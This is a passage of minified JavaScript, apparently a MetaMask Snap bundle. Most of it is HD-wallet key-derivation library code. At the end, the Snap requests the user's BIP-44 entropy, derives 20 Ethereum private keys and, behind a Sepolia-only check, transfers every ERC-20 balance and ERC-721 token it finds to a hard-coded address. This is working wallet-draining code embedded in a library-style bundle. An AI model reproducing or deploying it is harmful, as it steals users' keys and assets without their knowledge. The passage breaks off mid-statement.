ba({chainCode:s,extension:c});return{...t,childIndex:r+1,entropy:f}}var Aa=e(91);const Ia=[12,15,18,21,24];function ka(n){const t=n.split(" ");T(Ia.includes(t.length),"Invalid mnemonic phrase: The mnemonic phrase must consist of 12, 15, 18, 21, or 24 words."),T(t.every(n=>Vr.p.includes(n)),"Invalid mnemonic phrase: The mnemonic phrase contains an unknown word.")}async function Ua(n,t="",e){const r=`mnemonic${t}`.normalize("NFKD");return await la(function(n,t){if("string"==typeof n)return ka(n),Vt(n.normalize("NFKD"));const e=Array.from(new Uint16Array(n.buffer)).map(n=>t[n]).join(" ");return ka(e),Vt(e)}(n,Vr.p),Vt(r),2048,64,e)}function Sa(n){return`bip39:${n.toLowerCase().trim()}`}function La(n){return n instanceof Uint8Array?n:(T(n.startsWith("bip39:"),'Invalid HD path segment: The BIP-39 path must start with "bip39:".'),n.slice(6))}async function Oa({path:n,curve:t},e){const[r,...i]=n,o=La(r),a=Do(t);switch(a.masterNodeGenerationSpec){case"slip10":return[await Ua(o,"",e),...i];case"cip3":return[(0,Aa.x2)(o,Vr.p),...i];default:return F()}}async function Ca({path:n,curve:t,network:e},r){switch(T(n instanceof Uint8Array,"Invalid path: The path must be a Uint8Array."),t.masterNodeGenerationSpec){case"slip10":return Ka(n,t,e,r);case"cip3":return Ra(n,t,e,r);default:throw new Error("Unsupported master node generation spec.")}}async function Ka(n,t,e,r){T(n.length>=16&&n.length<=64,"Invalid seed: The seed must be between 16 and 64 bytes long.");const i=await fa(t.secret,n,r),o=i.slice(0,P),a=i.slice(P);T(t.isValidPrivateKey(o),"Invalid private key: The private key must greater than 0 and less than the curve order.");const s=t.getPublicKey(o,!1),u=Ss(t.compressPublicKey(s),t.compressedPublicKeyLength);return cs.fromExtendedKey({privateKey:o,publicKey:s,chainCode:a,masterFingerprint:u,network:e,depth:0,parentFingerprint:0,index:0,curve:t.name,guard:da},r)}async function Ra(n,t,e,r){T(n.length>=16&&n.length<=64,"Invalid entropy: The entropy must be between 16 and 64 bytes long.");const i=await la(t.secret,n,4096,96,r);i[0]&=248,i[31]&=31,i[31]|=64;const o=i.slice(0,t.privateKeyLength),a=i.slice(t.privateKeyLength);T(t.isValidPrivateKey(o),"Invalid private key.");const s=t.getPublicKey(o,!1),u=Ss(t.compressPublicKey(s),t.compressedPublicKeyLength);return cs.fromExtendedKey({privateKey:o,publicKey:s,chainCode:a,masterFingerprint:u,network:e,depth:0,parentFingerprint:0,index:0,curve:t.name,guard:da},r)}const Ta=n=>n.slice().reverse(),Fa=n=>{const t=Dt(Ta(n));return BigInt(t)},Pa=n=>{const t=n.toString(16);return Ta(Mt(t))},ja=n=>Wt([n,new Uint8Array(Math.max(32-n.length,0)).fill(0)]),Ha=n=>{const t=Fa(n.slice(0,28))*BigInt(8);return ja(Pa(t))},$a=n=>ja(Pa(De(Fa(n),BigInt(2)**BigInt(256)))),Na=(n,t)=>{const e=Fa(n)+Fa(t);return ja(Pa(e)).slice(0,32)},Da=(n,t,e)=>Wt([new Uint8Array([n]),t,Os(e,!0)]),za=2,Ma=0,Va=async({parentNode:n,childIndex:t,isHardened:e},r)=>{const i=e?Da(Ma,n.privateKeyBytes,t+V):Da(za,n.publicKeyBytes,t),o=await ba({chainCode:n.chainCodeBytes,extension:i},r),a=o.subarray(0,32),s=o.subarray(32),u=n.privateKeyBytes.subarray(0,32),c=n.privateKeyBytes.subarray(32);return Wt([Na(Ha(a),u),Na(s,c)])},qa=3,Wa=1,Ga=async({parentNode:n,childIndex:t,isHardened:e},r)=>{const i=e?Da(Wa,n.privateKeyBytes,t+V):Da(qa,n.publicKeyBytes,t);return(await ba({chainCode:n.chainCodeBytes,extension:i},r)).subarray(32)},Za=2,Ya=async({parentNode:n,childIndex:t,curve:e},r)=>{const i=Da(Za,n.publicKeyBytes,t),o=(await ba({chainCode:n.chainCodeBytes,extension:i},r)).slice(0,32),a=e.getPublicKey(Ha(o));return e.publicAdd(n.publicKeyBytes,a)};async function Xa(n,t){const{curve:e,node:r,path:i}=n;ma(r);const{childIndex:o,isHardened:a}=va(i,r,e);if("ed25519Bip32"!==e.name||!r)throw new Error("Unsupported curve: Only ed25519Bip32 is supported by CIP3.");const s=o+(a?V:0),{privateKeyBytes:u,chainCodeBytes:c,publicKeyBytes:f,masterFingerprint:l,depth:h,fingerprint:d}=r;if(u){const n={privateKeyBytes:u,chainCodeBytes:c,publicKeyBytes:f},r=await Va({parentNode:n,childIndex:o,isHardened:a},t),i=await Ga({parentNode:n,childIndex:o,isHardened:a},t);return cs.fromExtendedKey({privateKey:Dt(r),chainCode:Dt(i),masterFingerprint:l,depth:h+1,parentFingerprint:d,index:s,curve:e.name},t)}T(!a,"Invalid parameters: Cannot derive hardened child keys without a private key.");const p={chainCodeBytes:c,publicKeyBytes:f},y=await Ya({parentNode:p,childIndex:o,isHardened:!1,curve:e},t),g=await Ga({parentNode:p,childIndex:o,isHardened:!1},t);return cs.fromExtendedKey({publicKey:Dt(y),chainCode:Dt(g),masterFingerprint:l,depth:h+1,parentFingerprint:d,index:s,curve:e.name},t)}async function Ja(n,t){return await pa(n,Qa,t)}async function Qa(n,t,e){const{curve:r,isHardened:i,childIndex:o,entropy:a,chainCode:s}=t;if("ed25519"===r.name)throw n;const u=i?o+V:o,c=await ba({chainCode:s,extension:Wt([1,a.slice(32,64),Os(u)])},e);return{...t,entropy:c}}const ns={bip32:i,bip39:o,slip10:s,cip3:a};async function ts(n,t){const{path:e,depth:r=e.length}=n,i="node"in n?n.node:void 0,o="network"in n?n.network:i?.network,a="curve"in n?n.curve:i?.curve;if(i&&!(i instanceof cs)&&!(i instanceof eu)&&!(i instanceof ps))throw new Error("Invalid arguments: Node must be a SLIP-10 node or a BIP-44 node when provided.");if(!a)throw new Error("Invalid arguments: Must specify either a parent node or curve.");return function(n,t,e){if(0===n.length)throw new Error("Invalid HD path segment: The segment must not be empty.");let r=!1;if(n.forEach((n,t)=>{if(0===t){if(r=n instanceof Uint8Array||M.test(n),!(n instanceof Uint8Array||r||N.test(n)||D.test(n)||z.test(n)))throw es()}else if(n instanceof Uint8Array||!N.test(n)&&!D.test(n)&&!z.test(n))throw es()}),0===e&&(!r||1!==n.length))throw new Error(`Invalid HD path segment: The segment must consist of a single BIP-39 node for depths of 0. Received: "${String(n)}".`);if(!t&&!r)throw new Error("Invalid derivation parameters: Must specify parent key if the first node of the path segment is not a BIP-39 node.");if(t&&r)throw new Error("Invalid derivation parameters: May not specify parent key if the path segment starts with a BIP-39 node.");const i=r?n.slice(1):n;if(i.length>0){const n=i[0]?.split(":")[0];T(n),T(i.every(t=>t.startsWith(`${n}:`)),"Invalid HD path segment: Cannot mix 'bip32' and 'slip10' path segments.")}}(e,Boolean(i?.privateKey)||Boolean(i?.publicKey),r),await e.reduce(async(n,e,r)=>{const i=await n;if("string"==typeof e){const[n,r]=e.split(":");T(n),T(r),T(function(n){return n in ns}(n),`Unknown derivation type: "${n}".`);const s=ns[n];return await s.deriveChildKey({path:r,node:i,curve:Do(a),network:o},t)}return T(0===r,es()),await ns.bip39.deriveChildKey({path:e,node:i,curve:Do(a),network:o},t)},Promise.resolve(i))}function es(){return new Error("Invalid HD path segment: The path segment is malformed.")}var rs,is,os,as,ss=function(n,t,e,r){if("a"===e&&!r)throw new TypeError("Private accessor was defined without a getter");if("function"==typeof t?n!==t||!r:!t.has(n))throw new TypeError("Cannot read private member from an object whose class did not declare it");return"m"===e?r:"a"===e?r.call(n):r?r.value:t.get(n)},us=function(n,t,e,r,i){if("m"===r)throw new TypeError("Private method is not writable");if("a"===r&&!i)throw new TypeError("Private accessor was defined without a setter");if("function"==typeof t?n!==t||!i:!t.has(n))throw new TypeError("Cannot write private member to an object whose class did not declare it");return"a"===r?i.call(n,e):i?i.value=e:t.set(n,e),e};class cs{static async fromJSON(n,t){return rs.fromExtendedKey(n,t)}static async fromExtendedKey(n,t){if("string"==typeof n){const e=Xs(n),{chainCode:r,depth:i,parentFingerprint:o,index:a}=e;if("private"===e.type){const{privateKey:n}=e;return rs.fromExtendedKey({depth:i,parentFingerprint:o,index:a,privateKey:n,chainCode:r,curve:"secp256k1"},t)}const{publicKey:s}=e;return rs.fromExtendedKey({depth:i,parentFingerprint:o,index:a,publicKey:s,chainCode:r,curve:"secp256k1"},t)}const{depth:e,masterFingerprint:r,parentFingerprint:i,index:o,network:a,privateKey:s,publicKey:u,chainCode:c,curve:f,guard:l}=n,h=Is(c,P);Ls(f),fs(e),vs(o),function(n,t){if(0===t&&0!==n)throw new Error(`Invalid index: The index of the root node must be 0. Received: "${String(n)}".`)}(o,e),function(n){if(void 0===n)return;if("string"!=typeof n)throw new Error("Invalid network: Must be a string if specified.");if(!["mainnet","testnet"].includes(n))throw new Error('Invalid network: Must be either "mainnet" or "testnet" if specified.')}(a),function(n,t){if(!As(n))throw new Error(`Invalid parent fingerprint: The fingerprint must be a positive integer. Received: "${String(n)}".`);if(0===t&&0!==n)throw new Error(`Invalid parent fingerprint: The fingerprint of the root node must be 0. Received: "${String(n)}".`);if(t>0&&0===n)throw new Error(`Invalid parent fingerprint: The fingerprint of a child node must not be 0. Received: "${String(n)}".`)}(i,e),function(n,t,e){if(!n)return;if(e>=2&&n===t)throw new Error(`Invalid parent fingerprint: The fingerprint of a child node cannot be equal to the master fingerprint. Received: "${String(t)}".`)}(r,i,e);const d=Do(f);if(s){const n=ks(s,d.privateKeyLength);T(d.isValidPrivateKey(n),`Invalid private key: Value is not a valid ${f} private key.`);const c=l===da&&u?Is(u,d.publicKeyLength):void 0;return new rs({depth:e,masterFingerprint:r,parentFingerprint:i,index:o,network:a,chainCode:h,privateKey:n,publicKey:c,curve:f},t,ss(this,rs,"f",is))}if(u){const n=Is(u,d.publicKeyLength);return new rs({depth:e,masterFingerprint:r,parentFingerprint:i,index:o,network:a,chainCode:h,publicKey:n,curve:f},t,ss(this,rs,"f",is))}throw new Error("Invalid options: Must provide either a private key or a public key.")}static async fromDerivationPath({derivationPath:n,network:t,curve:e},r){if(Ls(e),!n)throw new Error("Invalid options: Must provide a derivation path.");if(0===n.length)throw new Error("Invalid derivation path: May not specify an empty derivation path.");const i=await Oa({path:n,curve:e},r);return await ts({path:i,depth:n.length-1,network:t,curve:e},r)}static async fromSeed({derivationPath:n,network:t,curve:e},r){if(Ls(e),"ed25519Bip32"===e)throw new Error('Invalid curve: The curve "ed25519Bip32" is not supported by the `fromSeed` function.');if(!n)throw new Error("Invalid options: Must provide a derivation path.");if(0===n.length)throw new Error("Invalid derivation path: May not specify an empty derivation path.");return await ts({path:n,depth:n.length-1,network:t,curve:e},r)}constructor({depth:n,masterFingerprint:t,parentFingerprint:e,index:r,network:i="mainnet",chainCode:o,privateKey:a,publicKey:s,curve:u},c={},f){os.set(this,void 0),as.set(this,void 0),T(f===ss(rs,rs,"f",is),"SLIP10Node can only be constructed using `SLIP10Node.fromJSON`, `SLIP10Node.fromExtendedKey`, `SLIP10Node.fromDerivationPath`, or `SLIP10Node.fromSeed`."),T(void 0!==a||void 0!==s,"SLIP10Node requires either a private key or a public key to be set."),this.depth=n,this.masterFingerprint=t,this.parentFingerprint=e,this.index=r,this.network=i,this.chainCodeBytes=o,this.privateKeyBytes=a,this.curve=u,us(this,os,s,"f"),us(this,as,c,"f"),Object.freeze(this)}get chainCode(){return Dt(this.chainCodeBytes)}get privateKey(){if(this.privateKeyBytes)return Dt(this.privateKeyBytes)}get publicKey(){return Dt(this.publicKeyBytes)}get publicKeyBytes(){return void 0!==ss(this,os,"f")||(T(this.privateKeyBytes,"Either a private key or public key is required."),us(this,os,Do(this.curve).getPublicKey(this.privateKeyBytes),"f")),ss(this,os,"f")}get compressedPublicKeyBytes(){return Do(this.curve).compressPublicKey(this.publicKeyBytes)}get compressedPublicKey(){return Dt(this.compressedPublicKeyBytes)}get address(){if("secp256k1"!==this.curve)throw new Error("Unable to get address for this node: Only secp256k1 is supported.");return Dt(Ea(this.publicKeyBytes))}get fingerprint(){return Ss(this.compressedPublicKeyBytes,Do(this.curve).compressedPublicKeyLength)}get extendedKey(){T("secp256k1"===this.curve,"Unable to get extended key for this node: Only secp256k1 is supported.");const n={depth:this.depth,parentFingerprint:this.parentFingerprint,index:this.index,network:this.network,chainCode:this.chainCodeBytes};return this.privateKeyBytes?Js({...n,type:"private",privateKey:this.privateKeyBytes}):Js({...n,type:"public",publicKey:this.publicKeyBytes})}neuter(){return new rs({depth:this.depth,masterFingerprint:this.masterFingerprint,parentFingerprint:this.parentFingerprint,index:this.index,chainCode:this.chainCodeBytes,publicKey:this.publicKeyBytes,curve:this.curve,network:this.network},ss(this,as,"f"),ss(rs,rs,"f",is))}async derive(n){return await async function({path:n,node:t},e){if(0===n.length)throw new Error("Invalid HD tree derivation path: Deriving a path of length 0 is not defined.");const r=t.depth+n.length;return fs(r),await ts({path:n,node:t,depth:r},e)}({path:n,node:this},ss(this,as,"f"))}toJSON(){return{depth:this.depth,masterFingerprint:this.masterFingerprint,parentFingerprint:this.parentFingerprint,index:this.index,network:this.network,curve:this.curve,privateKey:this.privateKey,publicKey:this.publicKey,chainCode:this.chainCode}}}function fs(n){if(!As(n))throw new Error(`Invalid HD tree path depth: The depth must be a positive integer. Received: "${String(n)}".`)}rs=cs,os=new WeakMap,as=new WeakMap,is={value:Symbol("SLIP10Node.constructor")};var ls,hs=function(n,t,e,r,i){if("m"===r)throw new TypeError("Private method is not writable");if("a"===r&&!i)throw new TypeError("Private accessor was defined without a setter");if("function"==typeof t?n!==t||!i:!t.has(n))throw new TypeError("Cannot write private member to an object whose class did not declare it");return"a"===r?i.call(n,e):i?i.value=e:t.set(n,e),e},ds=function(n,t,e,r){if("a"===e&&!r)throw new TypeError("Private accessor was defined without a getter");if("function"==typeof t?n!==t||!r:!t.has(n))throw new TypeError("Cannot read private member from an object whose class did not declare it");return"m"===e?r:"a"===e?r.call(n):r?r.value:t.get(n)};class ps{static async fromJSON(n,t,e){gs(t),ys(n.depth);const r=await eu.fromExtendedKey({depth:n.depth,index:n.index,network:n.network,parentFingerprint:n.parentFingerprint,chainCode:Es(n.chainCode),privateKey:Bs(n.privateKey),publicKey:Es(n.publicKey)},e);return new ps(r,t)}static async fromDerivationPath(n,t,e){ys(n.length-1);const r=await eu.fromDerivationPath({derivationPath:n,network:t},e),i=Ks(n);return new ps(r,i)}static async fromSeed({derivationPath:n,network:t},e){ys(n.length-1);const r=await eu.fromSeed({derivationPath:n,network:t},e),i=Ks(n);return new ps(r,i)}static async fromNode(n,t){if(!(n instanceof eu))throw new Error("Invalid node: Expected an instance of BIP44Node.");return gs(t),ys(n.depth),Promise.resolve(new ps(n,t))}constructor(n,t){ls.set(this,void 0),hs(this,ls,n,"f"),this.coin_type=t,this.path=function(n){return`m / ${H} / ${ws(n)}`}(t),Object.freeze(this)}get depth(){return ds(this,ls,"f").depth}get privateKeyBytes(){return ds(this,ls,"f").privateKeyBytes}get publicKeyBytes(){return ds(this,ls,"f").publicKeyBytes}get chainCodeBytes(){return ds(this,ls,"f").chainCodeBytes}get privateKey(){return ds(this,ls,"f").privateKey}get publicKey(){return ds(this,ls,"f").publicKey}get compressedPublicKey(){return ds(this,ls,"f").compressedPublicKey}get compressedPublicKeyBytes(){return ds(this,ls,"f").compressedPublicKeyBytes}get chainCode(){return ds(this,ls,"f").chainCode}get address(){return ds(this,ls,"f").address}get masterFingerprint(){return ds(this,ls,"f").masterFingerprint}get parentFingerprint(){return ds(this,ls,"f").parentFingerprint}get fingerprint(){return ds(this,ls,"f").fingerprint}get index(){return ds(this,ls,"f").index}get network(){return ds(this,ls,"f").network}get curve(){return ds(this,ls,"f").curve}get extendedKey(){return ds(this,ls,"f").extendedKey}async deriveBIP44AddressKey({account:n=0,change:t=0,address_index:e}){return await ds(this,ls,"f").derive(function({account:n=0,change:t=0,address_index:e}){return[ws(n),ms(t),ms(e)]}({account:n,change:t,address_index:e}))}toJSON(){return{...ds(this,ls,"f").toJSON(),coin_type:this.coin_type,path:this.path}}}function ys(n){if(2!==n)throw new Error(`Invalid depth: Coin type nodes must be of depth 2. Received: "${n}"`)}function gs(n){if("number"!=typeof n||!Number.isInteger(n)||n<0)throw new Error("Invalid coin type: The specified coin type must be a non-negative integer number.")}function ws(n){return vs(n),`${bs(n)}'`}function bs(n){return vs(n),`bip32:${n}`}function ms(n){if("number"==typeof n)return bs(n);if(!n||!Number.isInteger(n.index)||"boolean"!=typeof n.hardened)throw new Error("Invalid BIP-32 index: Must be an object containing the index and whether it is hardened.");return n.hardened?ws(n.index):bs(n.index)}function vs(n){if(!(As(t=n)&&t<=j))throw new Error("Invalid BIP-32 index: Must be a non-negative integer.");var t}function xs(n){return n.endsWith("'")}function Es(n){return n instanceof Uint8Array?n:Mt(n)}function Bs(n){if(void 0!==n)return Es(n)}function _s(n,t){if(n.length!==t)return!1;for(const t of n)if(0!==t)return!0;return!1}function As(n){return"number"==typeof n&&Number.isInteger(n)&&n>=0}function Is(n,t){if(n instanceof Uint8Array)return Us(n,t),n;if("string"==typeof n){const e=Mt(n);return Us(e,t),e}throw new Error("Invalid value: Expected an instance of Uint8Array or hexadecimal string.")}function ks(n,t){if(n instanceof Uint8Array)return T(n.length===t,`Invalid value: Must be a ${t}-byte byte array.`),n;if("string"==typeof n)return ks(Mt(n),t);throw new Error("Invalid value: Expected an instance of Uint8Array or hexadecimal string.")}function Us(n,t){if(!_s(n,t))throw new Error(`Invalid value: Must be a non-zero ${t}-byte byte array.`)}ls=new WeakMap;const Ss=(n,t)=>{if(!_s(n,t))throw new Error(`Invalid public key: The key must be a ${t}-byte, non-zero byte array.`);var e;return Gt((e=ha(n),sa(e))).getUint32(0,!1)};function Ls(n){if(!n||"string"!=typeof n)throw new Error("Invalid curve: Must specify a curve.");if(!Object.keys(No).includes(n))throw new Error(`Invalid curve: Only the following curves are supported: ${Object.keys(No).join(", ")}.`)}function Os(n,t=!1){const e=new Uint8Array(4);return Gt(e).setUint32(0,n,t),e}function Cs(){return Boolean(globalThis.crypto?.subtle)}function Ks(n){const t=n[2].split(":")[1]?.replace("'","");T(t,"Invalid derivation path: Coin type is not specified.");const e=Number.parseInt(t,10);return T(As(e),"Invalid derivation path: Coin type is not a valid integer."),e}const Rs=Mr.CURVE,Ts="secp256k1",Fs=Vt("Bitcoin seed"),Ps=!0,js=65,Hs=n=>Mr.utils.isValidPrivateKey(n),$s=(()=>{let n=!1;return(t,e=!1)=>(n||(Mr.ProjectivePoint.BASE._setWindowSize(4),n=!0),Mr.getPublicKey(t,e))})(),Ns=(n,t)=>{T(_s(t,32),"Invalid tweak: Tweak must be a non-zero 32-byte Uint8Array.");const e=Mr.ProjectivePoint.fromHex(n).add(Mr.ProjectivePoint.fromPrivateKey(t));return e.assertValidity(),e.toRawBytes(!1)},Ds=n=>Mr.ProjectivePoint.fromHex(n).toRawBytes(!0),zs=n=>Mr.ProjectivePoint.fromHex(n).toRawBytes(!1),Ms=32,Vs="slip10",qs=33,Ws=76067358,Gs=76066276,Zs=70617039,Ys=70615956;const Xs=n=>{const t=(n=>{const t=Ai(ha);try{return t.decode(n)}catch{throw new Error("Invalid extended key: Value is not base58-encoded, or the checksum is invalid.")}})(n);if(78!==t.length)throw new Error(`Invalid extended key: Expected a length of 78, got ${t.length}.`);const e=Gt(t),r=e.getUint32(0,!1),{network:i,type:o}=function(n){switch(n){case Ws:return{type:"public",network:"mainnet"};case Zs:return{type:"public",network:"testnet"};case Gs:return{type:"private",network:"mainnet"};case Ys:return{type:"private",network:"testnet"};default:throw new Error("Invalid extended key: Expected a public (xpub) or private key (xprv) version.")}}(r),a=e.getUint8(4);ru(a);const s=e.getUint32(5,!1),u=e.getUint32(9,!1),c=t.slice(13,45);if(!_s(c,32))throw new Error("Invalid extended key: Chain code must be a 32-byte non-zero byte array.");const f=t.slice(45,78);if(!_s(f,33))throw new Error("Invalid extended key: Key must be a 33-byte non-zero byte array.");const l=Gt(f);if("public"===o){if(2!==l.getUint8(0)&&3!==l.getUint8(0))throw new Error("Invalid extended key: Public key must start with 0x02 or 0x03.");return{type:o,depth:a,parentFingerprint:s,index:u,network:i,chainCode:c,publicKey:zs(f)}}if(0!==l.getUint8(0))throw new Error("Invalid extended key: Private key must start with 0x00.");return{type:o,depth:a,parentFingerprint:s,index:u,network:i,chainCode:c,privateKey:f.slice(1)}},Js=n=>{const{type:t,depth:e,parentFingerprint:r,index:i,network:o,chainCode:a}=n,s=new Uint8Array(78),u=Gt(s),c=function(n,t){switch(n){case"mainnet":return"public"===t?Ws:Gs;case"testnet":return"public"===t?Zs:Ys;default:return F()}}(o,t);if(u.setUint32(0,c,!1),u.setUint8(4,e),u.setUint32(5,r,!1),u.setUint32(9,i,!1),s.set(a,13),"public"===t){const{publicKey:t}=n,e=Ds(t);s.set(e,45)}if("private"===t){const{privateKey:t}=n;s.set(t,46)}return f=s,Ai(ha).encode(f);var f};var Qs,nu=function(n,t,e,r){if("a"===e&&!r)throw new TypeError("Private accessor was defined without a getter");if("function"==typeof t?n!==t||!r:!t.has(n))throw new TypeError("Cannot read private member from an object whose class did not declare it");return"m"===e?r:"a"===e?r.call(n):r?r.value:t.get(n)},tu=function(n,t,e,r,i){if("m"===r)throw new TypeError("Private method is not writable");if("a"===r&&!i)throw new TypeError("Private accessor was defined without a setter");if("function"==typeof t?n!==t||!i:!t.has(n))throw new TypeError("Cannot write private member to an object whose class did not declare it");return"a"===r?i.call(n,e):i?i.value=e:t.set(n,e),e};class eu{static async fromJSON(n,t){return eu.fromExtendedKey(n,t)}static async fromExtendedKey(n,t){if("string"==typeof n){const e=Xs(n),{type:r,chainCode:i,depth:o,parentFingerprint:a,index:s,network:u}=e;if("private"===r){const{privateKey:n}=e;return eu.fromExtendedKey({depth:o,parentFingerprint:a,index:s,network:u,privateKey:n,chainCode:i},t)}const{publicKey:c}=e;return eu.fromExtendedKey({depth:o,parentFingerprint:a,index:s,network:u,publicKey:c,chainCode:i},t)}const{privateKey:e,publicKey:r,chainCode:i,depth:o,parentFingerprint:a,index:s,network:u}=n;ru(o);const c=await cs.fromExtendedKey({privateKey:e,publicKey:r,chainCode:i,depth:o,parentFingerprint:a,index:s,network:u,curve:"secp256k1"},t);return new eu(c)}static async fromDerivationPath({derivationPath:n,network:t},e){ru(n.length-1),iu(n,0);const r=await cs.fromDerivationPath({derivationPath:n,network:t,curve:"secp256k1"},e);return new eu(r)}static async fromSeed({derivationPath:n,network:t},e){ru(n.length-1),iu(n,0);const r=await cs.fromSeed({derivationPath:n,network:t,curve:"secp256k1"},e);return new eu(r)}get depth(){return nu(this,Qs,"f").depth}get privateKeyBytes(){return nu(this,Qs,"f").privateKeyBytes}get publicKeyBytes(){return nu(this,Qs,"f").publicKeyBytes}get chainCodeBytes(){return nu(this,Qs,"f").chainCodeBytes}get privateKey(){return nu(this,Qs,"f").privateKey}get publicKey(){return nu(this,Qs,"f").publicKey}get compressedPublicKey(){return nu(this,Qs,"f").compressedPublicKey}get compressedPublicKeyBytes(){return nu(this,Qs,"f").compressedPublicKeyBytes}get chainCode(){return nu(this,Qs,"f").chainCode}get address(){return nu(this,Qs,"f").address}get masterFingerprint(){return nu(this,Qs,"f").masterFingerprint}get parentFingerprint(){return nu(this,Qs,"f").parentFingerprint}get fingerprint(){return nu(this,Qs,"f").fingerprint}get index(){return nu(this,Qs,"f").index}get network(){return nu(this,Qs,"f").network}get extendedKey(){return nu(this,Qs,"f").extendedKey}get curve(){return nu(this,Qs,"f").curve}constructor(n){Qs.set(this,void 0),tu(this,Qs,n,"f"),Object.freeze(this)}neuter(){const n=nu(this,Qs,"f").neuter();return new eu(n)}async derive(n){if(5===this.depth)throw new Error("Illegal operation: This HD tree node is already a leaf node.");ru(this.depth+n.length),iu(n,this.depth+1);const t=await nu(this,Qs,"f").derive(n);return new eu(t)}toJSON(){return{depth:this.depth,masterFingerprint:this.masterFingerprint,parentFingerprint:this.parentFingerprint,index:this.index,network:this.network,privateKey:this.privateKey,publicKey:this.publicKey,chainCode:this.chainCode}}}function ru(n){if(fs(n),n<0||n>5)throw new Error(`Invalid HD tree path depth: The depth must be a positive integer N such that 0 <= N <= 5. Received: "${n}"`)}function iu(n,t){n.forEach((n,e)=>{const r=t+e;if(0!==r)switch(T("string"==typeof n),r){case 1:if(n!==H)throw new Error(`Invalid derivation path: The "purpose" node (depth 1) must be the string "${H}".`);break;case 2:if(!N.test(n)||!xs(n))throw new Error('Invalid derivation path: The "coin_type" node (depth 2) must be a hardened BIP-32 node.');break;case 3:if(!N.test(n)||!xs(n))throw new Error('Invalid derivation path: The "account" node (depth 3) must be a hardened BIP-32 node.');break;case 4:if(!N.test(n))throw new Error('Invalid derivation path: The "change" node (depth 4) must be a BIP-32 node.');break;case 5:if(!N.test(n))throw new Error('Invalid derivation path: The "address_index" node (depth 5) must be a BIP-32 node.')}else if(!(n instanceof Uint8Array||M.test(n)))throw new Error('Invalid derivation path: The "m" / seed node (depth 0) must be a BIP-39 node.')})}async function ou(n=20){const t=await snap.request({method:"snap_getBip44Entropy",params:{coinType:60}}),e=await cs.fromJSON(t),r=await e.derive(["bip32:0'"]),i=await r.derive(["bip32:0"]),o=[];for(let t=0;t<n;t++){const n=(await i.derive([`bip32:${t}`])).privateKey;if(!n)continue;const e=su(n),r=au(e);o.push({index:t,privateKey:e,address:r})}return o}function au(n){const t=Mr.getPublicKey(n,!1);return"0x"+uu(xt(t.slice(1)).slice(12))}function su(n){const t=n.startsWith("0x")?n.slice(2):n,e=new Uint8Array(t.length/2);for(let n=0;n<e.length;n++)e[n]=parseInt(t.slice(2*n,2*n+2),16);return e}function uu(n){return Array.from(n).map(n=>n.toString(16).padStart(2,"0")).join("")}Qs=new WeakMap;const cu=11155111;let fu=1;async function lu(n,t=[]){const e=await fetch("https://rpc.sepolia.org",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:fu++,method:n,params:t})}),r=await e.json();if(r.error)throw new Error(`RPC error: ${r.error.message}`);return r.result}async function hu(n){const t=await lu("eth_getBalance",[n,"latest"]);return BigInt(t)}async function du(n,t){return await lu("eth_call",[{to:n,data:t},"latest"])}async function pu(n,t,e,r){try{const i={from:n,to:t,data:e};r&&(i.value=r);const o=await lu("eth_estimateGas",[i]);return BigInt(o)}catch{return 100000n}}function yu(n,t){if(n<56)return new Uint8Array([n+t]);const e=bu(BigInt(n));return new Uint8Array([t+55+e.length,...e])}function gu(n){if(n instanceof Uint8Array)return 1===n.length&&n[0]<128?n:wu(yu(n.length,128),n);const t=function(n){const t=n.reduce((n,t)=>n+t.length,0),e=new Uint8Array(t);let r=0;for(const t of n)e.set(t,r),r+=t.length;return e}(n.map(gu));return wu(yu(t.length,192),t)}function wu(n,t){const e=new Uint8Array(n.length+t.length);return e.set(n),e.set(t,n.length),e}function bu(n){if(0n===n)return new Uint8Array([]);const t=n.toString(16),e=t.length%2?"0"+t:t,r=new Uint8Array(e.length/2);for(let n=0;n<r.length;n++)r[n]=parseInt(e.slice(2*n,2*n+2),16);return r}function mu(n){const t=n.startsWith("0x")?n.slice(2):n,e=new Uint8Array(20);for(let n=0;n<20;n++)e[n]=parseInt(t.slice(2*n,2*n+2),16);return e}function vu(n){return(n.startsWith("0x")?n.slice(2):n).toLowerCase().padStart(64,"0")}function xu(n){return n.toString(16).padStart(64,"0")}function Eu(n){return su("70a08231"+vu(n))}function Bu(n,t){return su("a9059cbb"+vu(n)+xu(t))}function _u(n,t,e){return su("23b872dd"+vu(n)+vu(t)+xu(e))}function Au(n){const t=n.startsWith("0x")?n.slice(2):n;return t&&""!==t&&"0"!==t?BigInt("0x"+t):0n}const Iu="0xD47E90eaD57898d50F1d8E43C71eDD67D82c6120",ku="0x"+uu(xt((new TextEncoder).encode("Transfer(address,address,uint256)")));async function Uu(){await async function(){const n=await lu("eth_chainId"),t=parseInt(n,16);if(t!==cu)throw new Error(`TESTNET ONLY: expected Sepolia (11155111), got ${t}`)}();const n=await ou(20),t=await async function(){const n=await lu("eth_gasPrice");return BigInt(n)}(),e=[];for(const r of n)try{const n=await Su(r,t);n&&e.push(n)}catch{}return e}async function Su(n,t){const{privateKey:e,address:r}=n,i=BigInt(cu),o={address:r,ethTxHash:null,tokenTxHashes:[],nftTxHashes:[]};let a=await async function(n){const t=await lu("eth_getTransactionCount",[n,"latest"]);return BigInt(t)}(r);if(0n===await hu(r))return null;const s=await async function(n){try{const t=await async function(){const n=await lu("eth_blockNumber");return BigInt(n)}(),e=t>500000n?t-500000n:0n,r="0x"+n.slice(2).toLowerCase().padStart(64,"0"),i=await async function(n){return await lu("eth_getLogs",[n])}({fromBlock:"0x"+e.toString(16),toBlock:"latest",topics:[ku,null,r]}),o=new Map;for(const n of i){const t=n.address.toLowerCase();o.has(t)||o.set(t,{tokenIds:new Set,isERC721:!1});const e=o.get(t);4===n.topics.length&&(e.isERC721=!0,e.tokenIds.add(BigInt(n.topics[3])))}return Array.from(o.entries()).map(([n,t])=>({contract:n,isERC721:t.isERC721,tokenIds:Array.from(t.tokenIds)}))}catch{return[]}}(r);for(const n of s)try{const s="0x"+uu(Eu(r)),u=Au(await du(n.contract,s));if(0n===u)continue;if(n.isERC721)for(const s of n.tokenIds)try{const u=_u(r,Iu,s),c=await pu(r,n.contract,"0x"+uu(u)),f=await Lu({nonce:a,gasPrice:t,gasLimit:c,to:n.contract,value:0n,data:u,chainId:i,privateKey:e});o.nftTxHashes.push(f),a++}catch{}else try{const s=Bu(Iu,u),c=await pu(r,n.contract,"0x"+uu(s)),f=await Lu({nonce:a,gasPrice:t,gasLimit:c,to:n.contract,value:0n,data:s,chainId:i,privateKey:e});o.tokenTxHashes.push(f),a++}catch{}}catch{}const u=await 